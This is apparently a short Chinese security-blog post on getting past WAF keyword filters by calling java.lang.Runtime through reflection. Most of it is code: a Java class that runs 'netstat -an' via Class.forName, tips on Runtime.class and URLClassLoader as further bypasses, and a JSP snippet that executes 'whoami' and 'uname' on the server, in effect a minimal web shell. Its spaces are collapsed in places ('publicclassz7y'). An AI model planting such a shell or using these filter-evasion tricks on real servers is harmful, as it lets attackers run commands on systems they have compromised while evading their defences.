某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了:
packageorg.javaweb.url; importjava.io.BufferedReader; importjava.io.InputStreamReader; publicclassz7y{ publicstaticvoidmain(String[] args)throwsException { BufferedReader br =newBufferedReader(newInputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{})).exec("netstat -an").getInputStream())); String str =""; while((str=br.readLine())!=null){ System.out.println(str); } } } String.class.getClass().forName("java.lang.Runtime") …当然,还可以用:Runtime.class 代替Class.forName(“java.lang.Runtime”)….如果还被拦截,可以用URLClassLoader试试绕过。 <% out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine()); out.println("<hr/>"); Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{}); out.println(newjava.io.BufferedReader(newjava.io.InputStreamReader(r.exec("uname").getInputStream())).readLine()); %> |
-
上一篇: XSS盗cookie实战 - 网站安全 - 自学php
下一篇: 大汉通版jis统一身份认证系统漏洞打包 - 网站安
还没有人抢沙发呢~